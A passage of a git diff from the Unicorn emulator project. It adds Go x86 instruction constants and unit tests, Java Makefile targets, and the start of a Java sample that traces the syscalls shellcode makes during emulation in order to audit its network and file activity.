944 + UC_X86_INS_VMOVLPD = 945 + UC_X86_INS_VMOVLPS = 946 + UC_X86_INS_VMOVMSKPD = 947 + UC_X86_INS_VMOVMSKPS = 948 + UC_X86_INS_VMOVNTDQA = 949 + UC_X86_INS_VMOVNTDQ = 950 + UC_X86_INS_VMOVNTPD = 951 + UC_X86_INS_VMOVNTPS = 952 + UC_X86_INS_VMOVSD = 953 + UC_X86_INS_VMOVSHDUP = 954 + UC_X86_INS_VMOVSLDUP = 955 + UC_X86_INS_VMOVSS = 956 + UC_X86_INS_VMOVUPD = 957 + UC_X86_INS_VMOVUPS = 958 + UC_X86_INS_VMPSADBW = 959 + UC_X86_INS_VMPTRLD = 960 + UC_X86_INS_VMPTRST = 961 + UC_X86_INS_VMREAD = 962 + UC_X86_INS_VMRESUME = 963 + UC_X86_INS_VMRUN = 964 + UC_X86_INS_VMSAVE = 965 + UC_X86_INS_VMULPD = 966 + UC_X86_INS_VMULPS = 967 + UC_X86_INS_VMULSD = 968 + UC_X86_INS_VMULSS = 969 + UC_X86_INS_VMWRITE = 970 + UC_X86_INS_VMXOFF = 971 + UC_X86_INS_VMXON = 972 + UC_X86_INS_VPABSB = 973 + UC_X86_INS_VPABSD = 974 + UC_X86_INS_VPABSQ = 975 + UC_X86_INS_VPABSW = 976 + UC_X86_INS_VPACKSSDW = 977 + UC_X86_INS_VPACKSSWB = 978 + UC_X86_INS_VPACKUSDW = 979 + UC_X86_INS_VPACKUSWB = 980 + UC_X86_INS_VPADDB = 981 + UC_X86_INS_VPADDD = 982 + UC_X86_INS_VPADDQ = 983 + UC_X86_INS_VPADDSB = 984 + UC_X86_INS_VPADDSW = 985 + UC_X86_INS_VPADDUSB = 986 + UC_X86_INS_VPADDUSW = 987 + UC_X86_INS_VPADDW = 988 + UC_X86_INS_VPALIGNR = 989 + UC_X86_INS_VPANDD = 990 + UC_X86_INS_VPANDND = 991 + UC_X86_INS_VPANDNQ = 992 + UC_X86_INS_VPANDN = 993 + UC_X86_INS_VPANDQ = 994 + UC_X86_INS_VPAND = 995 + UC_X86_INS_VPAVGB = 996 + UC_X86_INS_VPAVGW = 997 + UC_X86_INS_VPBLENDD = 998 + UC_X86_INS_VPBLENDMB = 999 + UC_X86_INS_VPBLENDMD = 1000 + UC_X86_INS_VPBLENDMQ = 1001 + UC_X86_INS_VPBLENDMW = 1002 + UC_X86_INS_VPBLENDVB = 1003 + UC_X86_INS_VPBLENDW = 1004 + UC_X86_INS_VPBROADCASTB = 1005 + UC_X86_INS_VPBROADCASTD = 1006 + UC_X86_INS_VPBROADCASTMB2Q = 1007 + UC_X86_INS_VPBROADCASTMW2D = 1008 + UC_X86_INS_VPBROADCASTQ = 1009 + UC_X86_INS_VPBROADCASTW = 1010 + UC_X86_INS_VPCLMULQDQ = 1011 + UC_X86_INS_VPCMOV = 1012 + UC_X86_INS_VPCMPB = 1013 + UC_X86_INS_VPCMPD = 1014 + UC_X86_INS_VPCMPEQB = 1015 + UC_X86_INS_VPCMPEQD = 1016 + UC_X86_INS_VPCMPEQQ = 1017 + UC_X86_INS_VPCMPEQW = 1018 + UC_X86_INS_VPCMPESTRI = 1019 + UC_X86_INS_VPCMPESTRM = 1020 + UC_X86_INS_VPCMPGTB = 1021 + UC_X86_INS_VPCMPGTD = 1022 + UC_X86_INS_VPCMPGTQ = 1023 + UC_X86_INS_VPCMPGTW = 1024 + UC_X86_INS_VPCMPISTRI = 1025 + UC_X86_INS_VPCMPISTRM = 1026 + UC_X86_INS_VPCMPQ = 1027 + UC_X86_INS_VPCMPUB = 1028 + UC_X86_INS_VPCMPUD = 1029 + UC_X86_INS_VPCMPUQ = 1030 + UC_X86_INS_VPCMPUW = 1031 + UC_X86_INS_VPCMPW = 1032 + UC_X86_INS_VPCOMB = 1033 + UC_X86_INS_VPCOMD = 1034 + UC_X86_INS_VPCOMPRESSD = 1035 + UC_X86_INS_VPCOMPRESSQ = 1036 + UC_X86_INS_VPCOMQ = 1037 + UC_X86_INS_VPCOMUB = 1038 + UC_X86_INS_VPCOMUD = 1039 + UC_X86_INS_VPCOMUQ = 1040 + UC_X86_INS_VPCOMUW = 1041 + UC_X86_INS_VPCOMW = 1042 + UC_X86_INS_VPCONFLICTD = 1043 + UC_X86_INS_VPCONFLICTQ = 1044 + UC_X86_INS_VPERM2F128 = 1045 + UC_X86_INS_VPERM2I128 = 1046 + UC_X86_INS_VPERMD = 1047 + UC_X86_INS_VPERMI2D = 1048 + UC_X86_INS_VPERMI2PD = 1049 + UC_X86_INS_VPERMI2PS = 1050 + UC_X86_INS_VPERMI2Q = 1051 + UC_X86_INS_VPERMIL2PD = 1052 + UC_X86_INS_VPERMIL2PS = 1053 + UC_X86_INS_VPERMILPD = 1054 + UC_X86_INS_VPERMILPS = 1055 + UC_X86_INS_VPERMPD = 1056 + UC_X86_INS_VPERMPS = 1057 + UC_X86_INS_VPERMQ = 1058 + UC_X86_INS_VPERMT2D = 1059 + UC_X86_INS_VPERMT2PD = 1060 + UC_X86_INS_VPERMT2PS = 1061 + UC_X86_INS_VPERMT2Q = 1062 + UC_X86_INS_VPEXPANDD = 1063 + UC_X86_INS_VPEXPANDQ = 1064 + UC_X86_INS_VPEXTRB = 1065 + UC_X86_INS_VPEXTRD = 1066 + UC_X86_INS_VPEXTRQ = 1067 + UC_X86_INS_VPEXTRW = 1068 + UC_X86_INS_VPGATHERDD = 1069 + UC_X86_INS_VPGATHERDQ = 1070 + UC_X86_INS_VPGATHERQD = 1071 + UC_X86_INS_VPGATHERQQ = 1072 + UC_X86_INS_VPHADDBD = 1073 + UC_X86_INS_VPHADDBQ = 1074 + UC_X86_INS_VPHADDBW = 1075 + UC_X86_INS_VPHADDDQ = 1076 + UC_X86_INS_VPHADDD = 1077 + UC_X86_INS_VPHADDSW = 1078 + UC_X86_INS_VPHADDUBD = 1079 + UC_X86_INS_VPHADDUBQ = 1080 + UC_X86_INS_VPHADDUBW = 1081 + UC_X86_INS_VPHADDUDQ = 1082 + UC_X86_INS_VPHADDUWD = 1083 + UC_X86_INS_VPHADDUWQ = 1084 + UC_X86_INS_VPHADDWD = 1085 + UC_X86_INS_VPHADDWQ = 1086 + UC_X86_INS_VPHADDW = 1087 + UC_X86_INS_VPHMINPOSUW = 1088 + UC_X86_INS_VPHSUBBW = 1089 + UC_X86_INS_VPHSUBDQ = 1090 + UC_X86_INS_VPHSUBD = 1091 + UC_X86_INS_VPHSUBSW = 1092 + UC_X86_INS_VPHSUBWD = 1093 + UC_X86_INS_VPHSUBW = 1094 + UC_X86_INS_VPINSRB = 1095 + UC_X86_INS_VPINSRD = 1096 + UC_X86_INS_VPINSRQ = 1097 + UC_X86_INS_VPINSRW = 1098 + UC_X86_INS_VPLZCNTD = 1099 + UC_X86_INS_VPLZCNTQ = 1100 + UC_X86_INS_VPMACSDD = 1101 + UC_X86_INS_VPMACSDQH = 1102 + UC_X86_INS_VPMACSDQL = 1103 + UC_X86_INS_VPMACSSDD = 1104 + UC_X86_INS_VPMACSSDQH = 1105 + UC_X86_INS_VPMACSSDQL = 1106 + UC_X86_INS_VPMACSSWD = 1107 + UC_X86_INS_VPMACSSWW = 1108 + UC_X86_INS_VPMACSWD = 1109 + UC_X86_INS_VPMACSWW = 1110 + UC_X86_INS_VPMADCSSWD = 1111 + UC_X86_INS_VPMADCSWD = 1112 + UC_X86_INS_VPMADDUBSW = 1113 + UC_X86_INS_VPMADDWD = 1114 + UC_X86_INS_VPMASKMOVD = 1115 + UC_X86_INS_VPMASKMOVQ = 1116 + UC_X86_INS_VPMAXSB = 1117 + UC_X86_INS_VPMAXSD = 1118 + UC_X86_INS_VPMAXSQ = 1119 + UC_X86_INS_VPMAXSW = 1120 + UC_X86_INS_VPMAXUB = 1121 + UC_X86_INS_VPMAXUD = 1122 + UC_X86_INS_VPMAXUQ = 1123 + UC_X86_INS_VPMAXUW = 1124 + UC_X86_INS_VPMINSB = 1125 + UC_X86_INS_VPMINSD = 1126 + UC_X86_INS_VPMINSQ = 1127 + UC_X86_INS_VPMINSW = 1128 + UC_X86_INS_VPMINUB = 1129 + UC_X86_INS_VPMINUD = 1130 + UC_X86_INS_VPMINUQ = 1131 + UC_X86_INS_VPMINUW = 1132 + UC_X86_INS_VPMOVDB = 1133 + UC_X86_INS_VPMOVDW = 1134 + UC_X86_INS_VPMOVM2B = 1135 + UC_X86_INS_VPMOVM2D = 1136 + UC_X86_INS_VPMOVM2Q = 1137 + UC_X86_INS_VPMOVM2W = 1138 + UC_X86_INS_VPMOVMSKB = 1139 + UC_X86_INS_VPMOVQB = 1140 + UC_X86_INS_VPMOVQD = 1141 + UC_X86_INS_VPMOVQW = 1142 + UC_X86_INS_VPMOVSDB = 1143 + UC_X86_INS_VPMOVSDW = 1144 + UC_X86_INS_VPMOVSQB = 1145 + UC_X86_INS_VPMOVSQD = 1146 + UC_X86_INS_VPMOVSQW = 1147 + UC_X86_INS_VPMOVSXBD = 1148 + UC_X86_INS_VPMOVSXBQ = 1149 + UC_X86_INS_VPMOVSXBW = 1150 + UC_X86_INS_VPMOVSXDQ = 1151 + UC_X86_INS_VPMOVSXWD = 1152 + UC_X86_INS_VPMOVSXWQ = 1153 + UC_X86_INS_VPMOVUSDB = 1154 + UC_X86_INS_VPMOVUSDW = 1155 + UC_X86_INS_VPMOVUSQB = 1156 + UC_X86_INS_VPMOVUSQD = 1157 + UC_X86_INS_VPMOVUSQW = 1158 + UC_X86_INS_VPMOVZXBD = 1159 + UC_X86_INS_VPMOVZXBQ = 1160 + UC_X86_INS_VPMOVZXBW = 1161 + UC_X86_INS_VPMOVZXDQ = 1162 + UC_X86_INS_VPMOVZXWD = 1163 + UC_X86_INS_VPMOVZXWQ = 1164 + UC_X86_INS_VPMULDQ = 1165 + UC_X86_INS_VPMULHRSW = 1166 + UC_X86_INS_VPMULHUW = 1167 + UC_X86_INS_VPMULHW = 1168 + UC_X86_INS_VPMULLD = 1169 + UC_X86_INS_VPMULLQ = 1170 + UC_X86_INS_VPMULLW = 1171 + UC_X86_INS_VPMULUDQ = 1172 + UC_X86_INS_VPORD = 1173 + UC_X86_INS_VPORQ = 1174 + UC_X86_INS_VPOR = 1175 + UC_X86_INS_VPPERM = 1176 + UC_X86_INS_VPROTB = 1177 + UC_X86_INS_VPROTD = 1178 + UC_X86_INS_VPROTQ = 1179 + UC_X86_INS_VPROTW = 1180 + UC_X86_INS_VPSADBW = 1181 + UC_X86_INS_VPSCATTERDD = 1182 + UC_X86_INS_VPSCATTERDQ = 1183 + UC_X86_INS_VPSCATTERQD = 1184 + UC_X86_INS_VPSCATTERQQ = 1185 + UC_X86_INS_VPSHAB = 1186 + UC_X86_INS_VPSHAD = 1187 + UC_X86_INS_VPSHAQ = 1188 + UC_X86_INS_VPSHAW = 1189 + UC_X86_INS_VPSHLB = 1190 + UC_X86_INS_VPSHLD = 1191 + UC_X86_INS_VPSHLQ = 1192 + UC_X86_INS_VPSHLW = 1193 + UC_X86_INS_VPSHUFB = 1194 + UC_X86_INS_VPSHUFD = 1195 + UC_X86_INS_VPSHUFHW = 1196 + UC_X86_INS_VPSHUFLW = 1197 + UC_X86_INS_VPSIGNB = 1198 + UC_X86_INS_VPSIGND = 1199 + UC_X86_INS_VPSIGNW = 1200 + UC_X86_INS_VPSLLDQ = 1201 + UC_X86_INS_VPSLLD = 1202 + UC_X86_INS_VPSLLQ = 1203 + UC_X86_INS_VPSLLVD = 1204 + UC_X86_INS_VPSLLVQ = 1205 + UC_X86_INS_VPSLLW = 1206 + UC_X86_INS_VPSRAD = 1207 + UC_X86_INS_VPSRAQ = 1208 + UC_X86_INS_VPSRAVD = 1209 + UC_X86_INS_VPSRAVQ = 1210 + UC_X86_INS_VPSRAW = 1211 + UC_X86_INS_VPSRLDQ = 1212 + UC_X86_INS_VPSRLD = 1213 + UC_X86_INS_VPSRLQ = 1214 + UC_X86_INS_VPSRLVD = 1215 + UC_X86_INS_VPSRLVQ = 1216 + UC_X86_INS_VPSRLW = 1217 + UC_X86_INS_VPSUBB = 1218 + UC_X86_INS_VPSUBD = 1219 + UC_X86_INS_VPSUBQ = 1220 + UC_X86_INS_VPSUBSB = 1221 + UC_X86_INS_VPSUBSW = 1222 + UC_X86_INS_VPSUBUSB = 1223 + UC_X86_INS_VPSUBUSW = 1224 + UC_X86_INS_VPSUBW = 1225 + UC_X86_INS_VPTESTMD = 1226 + UC_X86_INS_VPTESTMQ = 1227 + UC_X86_INS_VPTESTNMD = 1228 + UC_X86_INS_VPTESTNMQ = 1229 + UC_X86_INS_VPTEST = 1230 + UC_X86_INS_VPUNPCKHBW = 1231 + UC_X86_INS_VPUNPCKHDQ = 1232 + UC_X86_INS_VPUNPCKHQDQ = 1233 + UC_X86_INS_VPUNPCKHWD = 1234 + UC_X86_INS_VPUNPCKLBW = 1235 + UC_X86_INS_VPUNPCKLDQ = 1236 + UC_X86_INS_VPUNPCKLQDQ = 1237 + UC_X86_INS_VPUNPCKLWD = 1238 + UC_X86_INS_VPXORD = 1239 + UC_X86_INS_VPXORQ = 1240 + UC_X86_INS_VPXOR = 1241 + UC_X86_INS_VRCP14PD = 1242 + UC_X86_INS_VRCP14PS = 1243 + UC_X86_INS_VRCP14SD = 1244 + UC_X86_INS_VRCP14SS = 1245 + UC_X86_INS_VRCP28PD = 1246 + UC_X86_INS_VRCP28PS = 1247 + UC_X86_INS_VRCP28SD = 1248 + UC_X86_INS_VRCP28SS = 1249 + UC_X86_INS_VRCPPS = 1250 + UC_X86_INS_VRCPSS = 1251 + UC_X86_INS_VRNDSCALEPD = 1252 + UC_X86_INS_VRNDSCALEPS = 1253 + UC_X86_INS_VRNDSCALESD = 1254 + UC_X86_INS_VRNDSCALESS = 1255 + UC_X86_INS_VROUNDPD = 1256 + UC_X86_INS_VROUNDPS = 1257 + UC_X86_INS_VROUNDSD = 1258 + UC_X86_INS_VROUNDSS = 1259 + UC_X86_INS_VRSQRT14PD = 1260 + UC_X86_INS_VRSQRT14PS = 1261 + UC_X86_INS_VRSQRT14SD = 1262 + UC_X86_INS_VRSQRT14SS = 1263 + UC_X86_INS_VRSQRT28PD = 1264 + UC_X86_INS_VRSQRT28PS = 1265 + UC_X86_INS_VRSQRT28SD = 1266 + UC_X86_INS_VRSQRT28SS = 1267 + UC_X86_INS_VRSQRTPS = 1268 + UC_X86_INS_VRSQRTSS = 1269 + UC_X86_INS_VSCATTERDPD = 1270 + UC_X86_INS_VSCATTERDPS = 1271 + UC_X86_INS_VSCATTERPF0DPD = 1272 + UC_X86_INS_VSCATTERPF0DPS = 1273 + UC_X86_INS_VSCATTERPF0QPD = 1274 + UC_X86_INS_VSCATTERPF0QPS = 1275 + UC_X86_INS_VSCATTERPF1DPD = 1276 + UC_X86_INS_VSCATTERPF1DPS = 1277 + UC_X86_INS_VSCATTERPF1QPD = 1278 + UC_X86_INS_VSCATTERPF1QPS = 1279 + UC_X86_INS_VSCATTERQPD = 1280 + UC_X86_INS_VSCATTERQPS = 1281 + UC_X86_INS_VSHUFPD = 1282 + UC_X86_INS_VSHUFPS = 1283 + UC_X86_INS_VSQRTPD = 1284 + UC_X86_INS_VSQRTPS = 1285 + UC_X86_INS_VSQRTSD = 1286 + UC_X86_INS_VSQRTSS = 1287 + UC_X86_INS_VSTMXCSR = 1288 + UC_X86_INS_VSUBPD = 1289 + UC_X86_INS_VSUBPS = 1290 + UC_X86_INS_VSUBSD = 1291 + UC_X86_INS_VSUBSS = 1292 + UC_X86_INS_VTESTPD = 1293 + UC_X86_INS_VTESTPS = 1294 + UC_X86_INS_VUNPCKHPD = 1295 + UC_X86_INS_VUNPCKHPS = 1296 + UC_X86_INS_VUNPCKLPD = 1297 + UC_X86_INS_VUNPCKLPS = 1298 + UC_X86_INS_VZEROALL = 1299 + UC_X86_INS_VZEROUPPER = 1300 + UC_X86_INS_WAIT = 1301 + UC_X86_INS_WBINVD = 1302 + UC_X86_INS_WRFSBASE = 1303 + UC_X86_INS_WRGSBASE = 1304 + UC_X86_INS_WRMSR = 1305 + UC_X86_INS_XABORT = 1306 + UC_X86_INS_XACQUIRE = 1307 + UC_X86_INS_XBEGIN = 1308 + UC_X86_INS_XCHG = 1309 + UC_X86_INS_XCRYPTCBC = 1310 + UC_X86_INS_XCRYPTCFB = 1311 + UC_X86_INS_XCRYPTCTR = 1312 + UC_X86_INS_XCRYPTECB = 1313 + UC_X86_INS_XCRYPTOFB = 1314 + UC_X86_INS_XEND = 1315 + UC_X86_INS_XGETBV = 1316 + UC_X86_INS_XLATB = 1317 + UC_X86_INS_XRELEASE = 1318 + UC_X86_INS_XRSTOR = 1319 + UC_X86_INS_XRSTOR64 = 1320 + UC_X86_INS_XRSTORS = 1321 + UC_X86_INS_XRSTORS64 = 1322 + UC_X86_INS_XSAVE = 1323 + UC_X86_INS_XSAVE64 = 1324 + UC_X86_INS_XSAVEC = 1325 + UC_X86_INS_XSAVEC64 = 1326 + UC_X86_INS_XSAVEOPT = 1327 + UC_X86_INS_XSAVEOPT64 = 1328 + UC_X86_INS_XSAVES = 1329 + UC_X86_INS_XSAVES64 = 1330 + UC_X86_INS_XSETBV = 1331 + UC_X86_INS_XSHA1 = 1332 + UC_X86_INS_XSHA256 = 1333 + UC_X86_INS_XSTORE = 1334 + UC_X86_INS_XTEST = 1335 + UC_X86_INS_FDISI8087_NOP = 1336 + UC_X86_INS_FENI8087_NOP = 1337 + UC_X86_INS_ENDING = 1338 +) \ No newline at end of file diff --git a/bindings/go/unicorn/x86_test.go b/bindings/go/unicorn/x86_test.go new file mode 100644 index 00000000..c18a03ed --- /dev/null +++ b/bindings/go/unicorn/x86_test.go @@ -0,0 +1,145 @@ +package unicorn + +import ( + "testing" +) + +var ADDRESS uint64 = 0x1000000 + +func MakeUc(mode int, code string) (*Uc, error) { + mu, err := NewUc(UC_ARCH_X86, mode) + if err != nil { + return nil, err + } + if err := mu.MemMap(ADDRESS, 2*1024*1024); err != nil { + return nil, err + } + if err := mu.MemWrite(ADDRESS, []byte(code)); err != nil { + return nil, err + } + if err := mu.RegWrite(UC_X86_REG_ECX, 0x1234); err != nil { + return nil, err + } + if err := mu.RegWrite(UC_X86_REG_EDX, 0x7890); err != nil { + return nil, err + } + return mu, nil +} + +func TestX86(t *testing.T) { + code := "\x41\x4a" + mu, err := MakeUc(UC_MODE_32, code) + if err != nil { + t.Fatal(err) + } + if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil { + t.Fatal(err) + } + ecx, _ := mu.RegRead(UC_X86_REG_ECX) + edx, _ := mu.RegRead(UC_X86_REG_EDX) + if ecx != 0x1235 || edx != 0x788f { + t.Fatal("Bad register values.") + } +} + +func TestX86InvalidRead(t *testing.T) { + code := "\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" + mu, err := MakeUc(UC_MODE_32, code) + if err != nil { + t.Fatal(err) + } + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err.(UcError) != UC_ERR_MEM_READ { + t.Fatal("Expected UC_ERR_MEM_READ") + } + ecx, _ := mu.RegRead(UC_X86_REG_ECX) + edx, _ := mu.RegRead(UC_X86_REG_EDX) + if ecx != 0x1234 || edx != 0x7890 { + t.Fatal("Bad register values.") + } +} + +func TestX86InvalidWrite(t *testing.T) { + code := "\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" + mu, err := MakeUc(UC_MODE_32, code) + if err != nil { + t.Fatal(err) + } + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err.(UcError) != UC_ERR_MEM_WRITE { + t.Fatal("Expected UC_ERR_MEM_WRITE") + } + ecx, _ := mu.RegRead(UC_X86_REG_ECX) + edx, _ := mu.RegRead(UC_X86_REG_EDX) + if ecx != 0x1234 || edx != 0x7890 { + t.Fatal("Bad register values.") + } +} + +func TestX86InOut(t *testing.T) { + code := "\x41\xE4\x3F\x4a\xE6\x46\x43" + mu, err := MakeUc(UC_MODE_32, code) + if err != nil { + t.Fatal(err) + } + var outVal uint64 + var inCalled, outCalled bool + mu.HookAdd(UC_HOOK_INSN, func(mu *Uc, port, size uint32) uint32 { + inCalled = true + switch size { + case 1: + return 0xf1 + case 2: + return 0xf2 + case 4: + return 0xf4 + default: + return 0 + } + }, UC_X86_INS_IN) + mu.HookAdd(UC_HOOK_INSN, func(uc *Uc, port, size, value uint32) { + outCalled = true + var err error + switch size { + case 1: + outVal, err = mu.RegRead(UC_X86_REG_AL) + case 2: + outVal, err = mu.RegRead(UC_X86_REG_AX) + case 4: + outVal, err = mu.RegRead(UC_X86_REG_EAX) + } + if err != nil { + t.Fatal(err) + } + }, UC_X86_INS_OUT) + if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil { + t.Fatal(err) + } + if !inCalled || !outCalled { + t.Fatal("Ports not accessed.") + } + if outVal != 0xf1 { + t.Fatal("Incorrect OUT value.") + } +} + +func TestX86Syscall(t *testing.T) { + code := "\x0f\x05" + mu, err := MakeUc(UC_MODE_64, code) + if err != nil { + t.Fatal(err) + } + mu.HookAdd(UC_HOOK_INSN, func(mu *Uc) { + rax, _ := mu.RegRead(UC_X86_REG_RAX) + mu.RegWrite(UC_X86_REG_RAX, rax+1) + }, UC_X86_INS_SYSCALL) + mu.RegWrite(UC_X86_REG_RAX, 0x100) + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err != nil { + t.Fatal(err) + } + v, _ := mu.RegRead(UC_X86_REG_RAX) + if v != 0x101 { + t.Fatal("Incorrect syscall return value.") + } +} diff --git a/bindings/java/Makefile b/bindings/java/Makefile index 94fcfee6..4d3af3e5 100644 --- a/bindings/java/Makefile +++ b/bindings/java/Makefile @@ -1,3 +1,6 @@ + +.PHONY: gen_const clean + JAVA_HOME := $(shell jrunscript -e 'java.lang.System.out.println(java.lang.System.getProperty("java.home"));') JAVA_INC := $(shell realpath $(JAVA_HOME)/../include) @@ -63,3 +66,13 @@ jar: jarfiles install: lib jar cp libunicorn_java$(LIB_EXT) $(JAVA_HOME)/lib/ext cp $(JARFILE) $(JAVA_HOME)/lib/ext + +gen_const: + cd .. && python const_generator.py java + +clean: + rm unicorn/*.class + rm samples/*.class + rm *.so + rm *.dylib + rm *.dll \ No newline at end of file diff --git a/bindings/java/samples/SampleNetworkAuditing.java b/bindings/java/samples/SampleNetworkAuditing.java new file mode 100644 index 00000000..c275a25d --- /dev/null +++ b/bindings/java/samples/SampleNetworkAuditing.java @@ -0,0 +1,429 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* + Unicorn sample for auditing network connection and file handling in shellcode. + Nguyen Tan Cong +*/ + +import unicorn.*; +import java.util.*; + + +public class SampleNetworkAuditing { + + public static int next_id = 3; + public static final int SIZE_REG = 4; + + private static LogChain fd_chains = new LogChain(); + + public static int get_id() { + return next_id++; + } + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + + private static class MyInterruptHook implements InterruptHook { + // callback for tracing Linux interrupt + public void hook(Unicorn uc, int intno, Object user) { +// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); + + // only handle Linux syscall + if (intno != 0x80) { + return; + } + long eax = toInt(uc.reg_read(Unicorn.UC_X86_REG_EAX, 4)); + long ebx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4)); + long ecx = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4)); + long edx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EDX, 4)); + long eip = toInt(uc.reg_read(Unicorn.UC_X86_REG_EIP, 4)); + + // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); + + if (eax == 1) { // sys_exit + System.out.printf(">>> SYS_EXIT\n"); + uc.emu_stop(); + } + else if (eax == 3) { // sys_read + long fd = ebx; + long buf = ecx; + long count = edx; + + String uuid = UUID.randomUUID().toString().substring(0, 32); + + byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); + uc.mem_write(buf, dummy_content); + + String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); + + fd_chains.add_log(fd, msg); + System.out.printf(">>> %s\n", msg); + } + else if (eax == 4) { // sys_write + long fd = ebx; + long buf = ecx; + long count = edx; + + byte[] content = uc.mem_read(buf, count); + + String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); + + System.out.printf(">>> %s\n", msg); + fd_chains.add_log(fd, msg); + } + else if (eax == 5) { // sys_open + long filename_addr = ebx; + long flags = ecx; + long mode = edx; + String filename = read_string(uc, filename_addr); + + int dummy_fd = get_id(); + uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd)); + + String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); + + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + System.out.printf(">>> %s\n", msg); + } + else if (eax == 11) { // sys_execv + // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); + String filename = read_string(uc, ebx); + + System.out.printf(">>> SYS_EXECV filename=%s\n", filename); + } + else if (eax == 63) { // sys_dup2 + fd_chains.link_fd(ecx, ebx); + System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); + } + else if (eax == 102) { // sys_socketcall + // ref: http://www.skyfree.org/linux/kernel_network/socket.html + long call = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4)); + long args = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4)); + + // int sys_socketcall(int call, unsigned long *args) + if (call == 1) { // sys_socket + // err = sys_socket(a0,a1,a[2]) + // int sys_socket(int family, int type, int protocol) + long family = toInt(uc.mem_read(args, SIZE_REG)); + long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + int dummy_fd = get_id(); + uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd)); + + if (family == 2) { // AF_INET + String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + print_sockcall(msg); + } + else if (family == 3) { // AF_INET6 + } + } + else if (call == 2) { // sys_bind + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(umyaddr, addrlen); + + String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 3) { // sys_connect + // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) + // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(uservaddr, addrlen); + String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 4) { // sys_listen + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 5) { // sys_accept + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) + + if (upeer_sockaddr == 0x0) { + print_sockcall(String.format("fd(%d) accept client", fd)); + } + else { + long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); + + byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); + + String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } + else if (call == 9) { // sys_send + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + byte[] buf = uc.mem_read(buff, length); + String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 11) { // sys_receive + long fd = 